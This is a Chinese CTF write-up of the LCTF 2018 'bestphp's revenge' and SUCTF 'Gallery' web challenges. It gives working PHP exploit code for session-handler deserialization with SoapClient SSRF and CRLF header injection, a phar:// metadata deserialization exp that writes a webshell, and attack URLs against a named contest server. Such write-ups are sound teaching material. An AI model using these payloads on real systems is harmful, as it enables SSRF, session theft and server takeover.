LCTF的Web题,本菜鸡是感觉难到自闭了,只能来分析下签到题

bestphp's revenge

这是题目源码

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

有一个flag.php但要求本地访问

所以思路其实蛮清晰的,构造反序列化触发SSRF
问题的关键在于没有可以利用的类,没有可以利用的类就找不到POP链
所以只能考虑PHP原生类
其实这道题目就是这个考点——利用PHP原生类来构造POP链,这和N1ctf的一道题是一致的
但是还有一个点就是如何触发反序列化
开始想到变量覆盖,通过extract覆盖b为unserialize
然后再在下面的call_user_func中调用unserialize
但是a默认为一个数组,这是不可控的,unserialize无法处理数组,所以只能想其它的办法
然后想到了利用PHP中session反序列化机制的问题来触发反序列化

PHP session 反序列化机制

在php.ini中存在session.serialize_handler配置,定义用来序列化/反序列化的处理器名字,默认使用php。
php中的session中的内容是以文件的方式来存储的
存储方式由配置项session.save_handler确定,默认是以文件的方式存储。
PHP中session本身的序列化机制是没有问题的
问题出在了如果在序列化和反序列化时选择的引擎不同,就会带来安全问题
当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,对value多进行一次反序列化,达到我们触发反序列化的目的
具体可以参考 https://blog.spoock.com/2016/10/16/php-serialize-problem/

原生类Soap的利用

利用php的原生类soap进行反序列化的姿势是在N1ctf题目中学到的
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
这里飘零师傅有写过详细的文章,也不赘述了 https://www.anquanke.com/post/id/153065#h2-5
简单来讲,我们可以通过它来发送http/https请求,同时,这里的http头部还存在crlf漏洞
SoapClient类可以创建soap数据报文,与wsdl接口进行交互。
看一下简单的用法

<?php
$a = new SoapClient(null,array(location'=>'http://example.com:2333','uri'=>'123'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

这样我们就能触发SSRF了

同时,我们可以通过设置user_agent头来构造CRLF
这是wupco师傅的poc

<?php
$target = "http://example.com:2333/";
$post_string = 'data=abc';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);

解题

所以我们可以通过call_user_func来设置session.serialize_handler,然后通过默认引擎来触发反序列化
反序列化利用的是Soap原生类来触发SSRF到flag.php页面,猜想flag会存储在session中
首先测试能否触发SSRF,测试是可以的,就直接上解题过程了
构造payload,这里我们要将cookie添加到header中,所以通过user_agent的Crlf来达到目的

<?php
$target = "http://example:2333";
$attack = new SoapClient(null,array('location' => $target,
                              'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n",
                              'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
$c = unserialize(urldecode($payload));
$c->a();

先本地测试下

本地是可以成功的
所以我们要在题目中触发反序列化
先生成payload

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
                              'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n",
                              'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

然后通过call_user_func来设置session.serialize_handler
最后不要忘记构造payload的最后一步是在序列化的值之前加一个|
首先要将我们的payload存储进session

然后再去触发反序列化

最后修改cookie为我们设置的SSRF中的cookie查看session,就可以看到flag了

其它

这道题目让我想起了PHP反序列化的另一些拓展
即关于phar://的利用
同样是很隐蔽的触发反序列化的点
phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

phar文件构成

  • a stub

可以理解为一个标志,格式为xxx<?php xxx;HALT_COMPILER();?>,前期内容不限,但必须以HALT_COMPILER();?>来结尾,否则phar扩展将无法识别其为phar文件。

  • a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都存放在这一部分中。这部分将会以序列化的形式存储用户自定义的meta-data。

  • the file contents

被压缩文件的内容。

  • a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,目前支持的两种签名格式是MD5和SHA1。

漏洞利用

漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。

meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。

利用php生成phar文件
要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

受影响函数列表

PHP识别phar文件是通过文件头的stub,即__HALT_COMPILER();?>,对前面的内容或者后缀名没有要求。可以通过添加任意文件头加上修改后缀名的方式将phar文件伪装成其他格式的文件。

exp

$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
#添加压缩文件  
$phar->setStub('<?php __HALT_COMPILER(); ?>');
#可以设置其它的文件头来伪造文件类型  
$o=new test('test');
#实例化一个对象
$phar->setMetaData($o);
#存入头
$phar->stopBuffering();
#计算签名

前几天suctf的招新题刚好能用来当实例

Gallery

刚好题目环境还在 http://49.4.68.67:86/
直接放上当时写的wp
上传点简单猜测,暂时没法绕过
swp源码泄露

<?php
include('./PicManager.php');
$manager=new PicManager('/var/www/html/sandbox/'.md5($_SERVER['REMOTE_ADDR']));

if(isset($_GET['act'])){
    switch($_GET['act']){
        case 'upload':{
            if($_SERVER['REQUEST_METHOD']=='POST'){
                $manager->upload_pic();
            }
            break;
        }
        case 'get':{
            print $manager->get_pic($_GET['pic']);
            exit;
        }
        case 'clean':{
            $manager->clean();
            break;
        }
        default:{
            break;
        }

    }
}
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf8" />
<title>GALLERY</title>
<link rel="stylesheet" type="text/css" href="demo.css" />
<link rel="stylesheet" href="jquery-ui.css" type="text/css" media="all" />
<link rel="stylesheet" type="text/css" href="fancybox/jquery.fancybox-1.2.6.css" />
<script
                          src="https://code.jquery.com/jquery-3.3.1.min.js"
                          integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
                          crossorigin="anonymous"></script>
<script
                          src="http://code.jquery.com/ui/1.12.0-rc.2/jquery-ui.min.js"
                          integrity="sha256-55Jz3pBCF8z9jBO1qQ7cIf0L+neuPTD1u7Ytzrp2dqo="
                          crossorigin="anonymous"></script>
<script type="text/javascript" src="fancybox/jquery.fancybox-1.2.6.pack.js"></script>
<script type="text/javascript" src="script.js"></script>
</head>
<body>
<div id="main">
<h1>Gallery</h1>
    <h2>hello <?=$_SERVER['REMOTE_ADDR'];?></h2>
        <div id="gallery">

        <?php
$stage_width=600;//放大后的图片宽度
$stage_height=400;//放大后的图片高度
$allowed_types=array('jpg','jpeg','gif','png');
$file_parts=array();
$ext='';
$title='';
$i=0;
$i=1;
$pics=$manager->pics();
foreach ($pics as $file)
{
        if($file=='.' || $file == '..') continue;
        $file_parts = explode('.',$file);
        $ext = strtolower(array_pop($file_parts));
//      $title = implode('.',$file_parts);
//      $title = htmlspecialchars($title);
        if(in_array($ext,$allowed_types))
        {
                $left=rand(0,$stage_width);
                $top=rand(0,400);
                $rot = rand(-40,40);
                if($top>$stage_height-130 && $left > $stage_width-230)
                {
                        $top-=120+130;
                        $left-=230;
                }
                /* 输出各个图片: */
                echo '
                <div id="pic-'.($i++).'" class="pic" style="top:'.$top.'px;left:'.$left.'px;background:url(\'http://'.$_SERVER['HTTP_HOST'].':'.$_SERVER["SERVER_PORT"].'/?act=get&pic='.$file.'\') no-repeat 50% 50%; -moz-transform:rotate('.$rot.'deg); -webkit-transform:rotate('.$rot.'deg);">
                <img src="http://'.$_SERVER['HTTP_HOST'].'/?act=get&pic='.$file.'" target="_blank"/>
                </div>';
        }
}
?>
    <div class="drop-box">
    </div>
        </div>
        <div class="clear"></div>
</div>
<div id="modal" title="上传图片">
        <form action="index.php?act=upload" enctype="multipart/form-data" method="post">
        <fieldset>
        <!--    <label for="url">文件:</label>-->
                <input type="file" name="file" id="url"  onfocus="this.select()" />
                <input type="submit" value="上传"/>
        </fieldset>
        </form>
</div>
</body>
</html>

可以看到实例化了一个PicManager对象,包含三个方法
get参数通过pic参数传参,尝试之后发现可以读源码
读取PicManager.php

<?php

 class PicManager{
     private $current_dir;
     private $whitelist=['.jpg','.png','.gif'];
     private $logfile='request.log';
     private $actions=[];

     public function __construct($dir){
         $this->current_dir=$dir;
         if(!is_dir($dir))@mkdir($dir);
     }

     private function _log($message){
         array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message);
     }

     public function pics(){
         $this->_log('list pics');
         $pics=[];
         foreach(scandir($this->current_dir) as $item){
             if(in_array(substr($item,-4),$this->whitelist))
                 array_push($pics,$this->current_dir."/".$item);
         }
         return $pics;
     }
     public function upload_pic(){
         $this->_log('upload pic');
         $file=$_FILES['file']['name'];
         if(!in_array(substr($file,-4),$this->whitelist)){
             $this->_log('unsafe deal:upload filename '.$file);
             return;
         }
         $newname=md5($file).substr($file,-4);
         move_uploaded_file($_FILES['file']['tmp_name'],$this->current_dir.'/'.$newname);
     }
     public function get_pic($picname){
         $this->_log('get pic');
         if(!file_exists($picname))
             return '';
         $fi=new finfo(FILEINFO_MIME_TYPE);
         $mime=$fi->file($picname);
         header('Content-Type:'.$mime);
         return file_get_contents($picname);
     }

     public function clean(){
         $this->_log('clean');
         foreach(scandir($this->current_dir) as $file){
             @unlink($this->current_dir."/".$file);
         }
     }
     public function __destruct(){
         $fp=fopen($this->current_dir.'/'.$this->logfile,"a");
         foreach($this->actions as $act){
            fwrite($fp,$act."\n");
         }
         fclose($fp);
     }


 }

//$pic=new PicManager('./');
//$pic->gen();

所以这里有一个反序列化的可控点,但是如何触发反序列化呢?
所以这里就是phar协议拓展了攻击面
利用phar协议对象注入来触发反序列化达到写shell的目的

<?php

class PicManager{...}

$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new PicManager('/var/www/html/sandbox/4150952d11458a39692ea5d1e2756f1e');
$phar->setMetaData($o);
$phar->stopBuffering();

利用exp生成phar文件并上传,注意修改后缀为gif

上传成功,然后通过phar协议触发反序列化

http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/4150952d11458a39692ea5d1e2756f1e/f3035846cc279a1aff73b7c2c25367b9.gif

访问shell直接拿到flag
http://49.4.68.67:86/sandbox/4150952d11458a39692ea5d1e2756f1e/request.php

参考链接

https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://www.anquanke.com/post/id/153065#h2-5
https://paper.seebug.org/680/#23-phar

点击收藏 | 1 关注 | 1
登录 后跟帖